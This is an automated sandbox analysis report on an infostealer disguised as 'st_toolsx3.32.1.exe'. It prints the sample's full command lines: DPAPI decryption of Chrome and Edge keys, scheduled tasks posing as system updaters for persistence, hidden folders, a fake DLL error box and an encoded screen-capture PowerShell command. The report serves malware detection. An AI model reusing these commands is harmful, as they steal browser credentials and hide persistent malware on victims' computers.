2a842fede63a58fbb8d5770682aef1d65534e03ed1c23e7b4ecabb489d947010

Analysis

user interaction
yes
max time kernel
14s
max time network
18s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 14:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
st_toolsx3.32.1.exe
Size 43.9MB
Sample260602-r45fysht4n
SHA256 2a842fede63a58fbb8d5770682aef1d65534e03ed1c23e7b4ecabb489d947010
MD5 c2b45b4aeca436986a0d8bc77f5cf92c
SHA1 b07bc6da40f15e8868fac2591122bf3c09a113e2
SHA512 e31594cbd1af74a09b785a52f3986f2dab24b50e5ee7abfbf976e2777df5fbb4c64074aac96afb93d6db68c3f04530cfea0452141f978831b4ae130da077caf1
SSDEEP 786432:63on1HvSzxAMNRFZArYsrLgBx7MPvmPvt37OZx3H/J3H:6Yn1HvSpNRXmrS7salMx3
TLSH
T1D9A7BF03B2A501E5E4B7D1388AA75203D772B8674731CACF325D02161FBBAE09A7F765
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1876	powershell.exe
4592	powershell.exe
1508	powershell.exe
2956	powershell.exe
2324	powershell.exe
812	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
5020	st_toolsx3.32.1.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
2168	cmd.exe
3964	cmd.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
5028	tasklist.exe
796	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1072	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2628	powershell.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	st_toolsx3.32.1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	st_toolsx3.32.1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	st_toolsx3.32.1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	st_toolsx3.32.1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	st_toolsx3.32.1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	st_toolsx3.32.1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	st_toolsx3.32.1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	st_toolsx3.32.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	st_toolsx3.32.1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	st_toolsx3.32.1.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3344	schtasks.exe
4584	schtasks.exe
2712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
5020	st_toolsx3.32.1.exe
5020	st_toolsx3.32.1.exe
1876	powershell.exe
1876	powershell.exe
4592	powershell.exe
4592	powershell.exe
1508	powershell.exe
1508	powershell.exe
3308	powershell.exe
3308	powershell.exe
4908	powershell.exe
4908	powershell.exe
2628	powershell.exe
2628	powershell.exe
812	powershell.exe
812	powershell.exe
2956	powershell.exe
2956	powershell.exe
2324	powershell.exe
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeIncreaseQuotaPrivilege	1876	powershell.exe
Token: SeSecurityPrivilege	1876	powershell.exe
Token: SeTakeOwnershipPrivilege	1876	powershell.exe
Token: SeLoadDriverPrivilege	1876	powershell.exe
Token: SeSystemProfilePrivilege	1876	powershell.exe
Token: SeSystemtimePrivilege	1876	powershell.exe
Token: SeProfSingleProcessPrivilege	1876	powershell.exe
Token: SeIncBasePriorityPrivilege	1876	powershell.exe
Token: SeCreatePagefilePrivilege	1876	powershell.exe
Token: SeBackupPrivilege	1876	powershell.exe
Token: SeRestorePrivilege	1876	powershell.exe
Token: SeShutdownPrivilege	1876	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeSystemEnvironmentPrivilege	1876	powershell.exe
Token: SeRemoteShutdownPrivilege	1876	powershell.exe
Token: SeUndockPrivilege	1876	powershell.exe
Token: SeManageVolumePrivilege	1876	powershell.exe
Token: 33	1876	powershell.exe
Token: 34	1876	powershell.exe
Token: 35	1876	powershell.exe
Token: 36	1876	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeIncreaseQuotaPrivilege	4592	powershell.exe
Token: SeSecurityPrivilege	4592	powershell.exe
Token: SeTakeOwnershipPrivilege	4592	powershell.exe
Token: SeLoadDriverPrivilege	4592	powershell.exe
Token: SeSystemProfilePrivilege	4592	powershell.exe
Token: SeSystemtimePrivilege	4592	powershell.exe
Token: SeProfSingleProcessPrivilege	4592	powershell.exe
Token: SeIncBasePriorityPrivilege	4592	powershell.exe
Token: SeCreatePagefilePrivilege	4592	powershell.exe
Token: SeBackupPrivilege	4592	powershell.exe
Token: SeRestorePrivilege	4592	powershell.exe
Token: SeShutdownPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeSystemEnvironmentPrivilege	4592	powershell.exe
Token: SeRemoteShutdownPrivilege	4592	powershell.exe
Token: SeUndockPrivilege	4592	powershell.exe
Token: SeManageVolumePrivilege	4592	powershell.exe
Token: 33	4592	powershell.exe
Token: 34	4592	powershell.exe
Token: 35	4592	powershell.exe
Token: 36	4592	powershell.exe
Token: SeDebugPrivilege	5028	tasklist.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeIncreaseQuotaPrivilege	1508	powershell.exe
Token: SeSecurityPrivilege	1508	powershell.exe
Token: SeTakeOwnershipPrivilege	1508	powershell.exe
Token: SeLoadDriverPrivilege	1508	powershell.exe
Token: SeSystemProfilePrivilege	1508	powershell.exe
Token: SeSystemtimePrivilege	1508	powershell.exe
Token: SeProfSingleProcessPrivilege	1508	powershell.exe
Token: SeIncBasePriorityPrivilege	1508	powershell.exe
Token: SeCreatePagefilePrivilege	1508	powershell.exe
Token: SeBackupPrivilege	1508	powershell.exe
Token: SeRestorePrivilege	1508	powershell.exe
Token: SeShutdownPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeSystemEnvironmentPrivilege	1508	powershell.exe
Token: SeRemoteShutdownPrivilege	1508	powershell.exe
Token: SeUndockPrivilege	1508	powershell.exe
Token: SeManageVolumePrivilege	1508	powershell.exe
Token: 33	1508	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 5020 wrote to memory of 1640	5020	st_toolsx3.32.1.exe	80
PID 1640 wrote to memory of 1828	1640	cmd.exe	82
PID 1828 wrote to memory of 3384	1828	net.exe	83
PID 5020 wrote to memory of 4044	5020	st_toolsx3.32.1.exe	84
PID 4044 wrote to memory of 1876	4044	cmd.exe	86
PID 5020 wrote to memory of 388	5020	st_toolsx3.32.1.exe	89
PID 388 wrote to memory of 4592	388	cmd.exe	91
PID 5020 wrote to memory of 4084	5020	st_toolsx3.32.1.exe	92
PID 4084 wrote to memory of 2056	4084	cmd.exe	94
PID 5020 wrote to memory of 3140	5020	st_toolsx3.32.1.exe	96
PID 3140 wrote to memory of 5028	3140	cmd.exe	98
PID 5020 wrote to memory of 960	5020	st_toolsx3.32.1.exe	99
PID 960 wrote to memory of 5008	960	cmd.exe	101
PID 5008 wrote to memory of 3800	5008	cmd.exe	102
PID 5020 wrote to memory of 2536	5020	st_toolsx3.32.1.exe	103
PID 2536 wrote to memory of 1508	2536	cmd.exe	105
PID 5020 wrote to memory of 1072	5020	st_toolsx3.32.1.exe	106
PID 1072 wrote to memory of 1960	1072	cmd.exe	108
PID 5020 wrote to memory of 3480	5020	st_toolsx3.32.1.exe	109
PID 3480 wrote to memory of 3344	3480	cmd.exe	143
PID 5020 wrote to memory of 4352	5020	st_toolsx3.32.1.exe	112
PID 4352 wrote to memory of 4584	4352	cmd.exe	114
PID 5020 wrote to memory of 2168	5020	st_toolsx3.32.1.exe	115
PID 2168 wrote to memory of 3308	2168	cmd.exe	118
PID 5020 wrote to memory of 3964	5020	st_toolsx3.32.1.exe	120
PID 3964 wrote to memory of 4908	3964	cmd.exe	122
PID 5020 wrote to memory of 2988	5020	st_toolsx3.32.1.exe	123
PID 2988 wrote to memory of 2628	2988	cmd.exe	125
PID 5020 wrote to memory of 2332	5020	st_toolsx3.32.1.exe	126
PID 5020 wrote to memory of 2264	5020	st_toolsx3.32.1.exe	127
PID 2332 wrote to memory of 812	2332	cmd.exe	130
PID 2264 wrote to memory of 796	2264	cmd.exe	131
PID 812 wrote to memory of 4760	812	powershell.exe	132
PID 5020 wrote to memory of 2160	5020	st_toolsx3.32.1.exe	133
PID 2160 wrote to memory of 2956	2160	cmd.exe	135
PID 5020 wrote to memory of 1764	5020	st_toolsx3.32.1.exe	136
PID 812 wrote to memory of 2712	812	powershell.exe	138
PID 1764 wrote to memory of 2324	1764	cmd.exe	139

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1960	attrib.exe
4760	attrib.exe

C:\Users\Admin\AppData\Local\Temp\st_toolsx3.32.1.exe
"C:\Users\Admin\AppData\Local\Temp\st_toolsx3.32.1.exe"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-Volume -DriveLetter C).Size""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-Volume -DriveLetter C).Size"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object -Property Model, Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object -Property Model, Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\system32\getmac.exe
    getmac
    3⤵
    PID:2056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c start "" mshta vbscript:Execute("MsgBox ""The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem."", 16, ""System Error"":close")"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:960
- - C:\Windows\system32\cmd.exe
    cmd /c start "" mshta vbscript:Execute("MsgBox ""The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem."", 16, ""System Error"":close")
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5008
  - - C:\Windows\system32\mshta.exe
      mshta vbscript:Execute("MsgBox ""The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem."", 16, ""System Error"":close")
      4⤵
      PID:3800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserUpdate)' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\Windows\\[a-zA-Z0-9]{8}\\' } | Unregister-ScheduledTask -Confirm:$false""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(WindowsTelemetrySync|NetFrameworkUpdate|SecurityHealthScan|OneDriveHealthCheck|EdgeBrowserUpdate)' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\Windows\\[a-zA-Z0-9]{8}\\' } | Unregister-ScheduledTask -Confirm:$false"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\vNJ9Tac0""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\vNJ9Tac0"
    3⤵
    - Views/modifies file attributes
    PID:1960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SecurityHealthScan_lxLZ09" /xml "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\vNJ9Tac0\YVKQxaKa.xml" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SecurityHealthScan_lxLZ09" /xml "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\vNJ9Tac0\YVKQxaKa.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SecurityHealthScan_lxLZ09" /tr "wscript.exe //nologo 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\vNJ9Tac0\Ey1KcGft.vbs'" /sc onlogon /rl highest /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SecurityHealthScan_lxLZ09" /tr "wscript.exe //nologo 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\vNJ9Tac0\Ey1KcGft.vbs'" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,233,169,33,226,63,34,168,76,142,43,181,71,159,243,155,15,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,115,71,34,125,12,121,20,227,117,12,126,212,105,17,209,53,162,163,184,186,111,87,78,34,163,233,207,71,86,254,30,37,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,127,155,35,193,30,244,178,193,251,137,246,176,197,221,33,72,226,51,222,200,152,103,37,150,164,53,37,67,240,243,48,25,48,0,0,0,54,180,103,43,85,241,211,150,157,227,182,76,103,71,141,246,238,100,154,118,199,149,250,0,33,116,105,224,241,26,168,102,76,168,101,58,69,228,234,220,172,128,94,94,249,95,38,17,64,0,0,0,42,37,45,79,114,40,84,140,163,136,206,204,212,13,214,119,31,38,230,250,207,84,231,82,220,61,148,31,172,179,167,11,140,25,241,95,79,138,146,26,155,160,227,4,41,43,138,206,184,191,8,207,232,83,152,197,37,117,35,69,200,190,109,56), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,233,169,33,226,63,34,168,76,142,43,181,71,159,243,155,15,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,115,71,34,125,12,121,20,227,117,12,126,212,105,17,209,53,162,163,184,186,111,87,78,34,163,233,207,71,86,254,30,37,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,127,155,35,193,30,244,178,193,251,137,246,176,197,221,33,72,226,51,222,200,152,103,37,150,164,53,37,67,240,243,48,25,48,0,0,0,54,180,103,43,85,241,211,150,157,227,182,76,103,71,141,246,238,100,154,118,199,149,250,0,33,116,105,224,241,26,168,102,76,168,101,58,69,228,234,220,172,128,94,94,249,95,38,17,64,0,0,0,42,37,45,79,114,40,84,140,163,136,206,204,212,13,214,119,31,38,230,250,207,84,231,82,220,61,148,31,172,179,167,11,140,25,241,95,79,138,146,26,155,160,227,4,41,43,138,206,184,191,8,207,232,83,152,197,37,117,35,69,200,190,109,56), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,233,169,33,226,63,34,168,76,142,43,181,71,159,243,155,15,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,212,142,240,175,118,175,11,43,50,166,154,228,244,177,227,246,41,186,42,43,190,169,150,74,70,124,151,111,106,247,114,192,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,57,238,247,51,20,166,224,158,164,236,33,69,87,48,139,28,185,185,186,132,218,7,145,202,140,1,7,81,191,111,137,63,48,0,0,0,97,123,239,152,169,188,29,228,2,54,184,14,54,132,103,154,101,230,219,226,138,252,107,211,52,64,67,196,194,117,151,218,230,15,81,103,213,5,86,241,27,94,206,135,197,156,138,211,64,0,0,0,248,189,37,94,142,221,133,253,143,117,200,175,33,181,182,106,193,209,84,151,45,52,167,10,253,223,107,198,190,112,34,187,220,251,169,71,205,112,111,225,162,94,83,179,182,197,52,234,47,141,253,240,103,57,146,32,135,98,223,160,88,78,32,54), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,233,169,33,226,63,34,168,76,142,43,181,71,159,243,155,15,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,212,142,240,175,118,175,11,43,50,166,154,228,244,177,227,246,41,186,42,43,190,169,150,74,70,124,151,111,106,247,114,192,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,57,238,247,51,20,166,224,158,164,236,33,69,87,48,139,28,185,185,186,132,218,7,145,202,140,1,7,81,191,111,137,63,48,0,0,0,97,123,239,152,169,188,29,228,2,54,184,14,54,132,103,154,101,230,219,226,138,252,107,211,52,64,67,196,194,117,151,218,230,15,81,103,213,5,86,241,27,94,206,135,197,156,138,211,64,0,0,0,248,189,37,94,142,221,133,253,143,117,200,175,33,181,182,106,193,209,84,151,45,52,167,10,253,223,107,198,190,112,34,187,220,251,169,71,205,112,111,225,162,94,83,179,182,197,52,234,47,141,253,240,103,57,146,32,135,98,223,160,88,78,32,54), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like 'NVIDIA_SelfUpdate_*'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue }""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like 'NVIDIA_SelfUpdate_*'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue }"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:2628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_P88Tmxjw.ps1""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_P88Tmxjw.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:812
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_P88Tmxjw.vbs
      4⤵
      Views/modifies file attributes
      PID:4760
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn NVIDIA_SelfUpdate_{64983487} /xml C:\Users\Admin\AppData\Local\Temp\tmpB6F7.tmp.xml /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "-""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "-"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "-""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "-"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB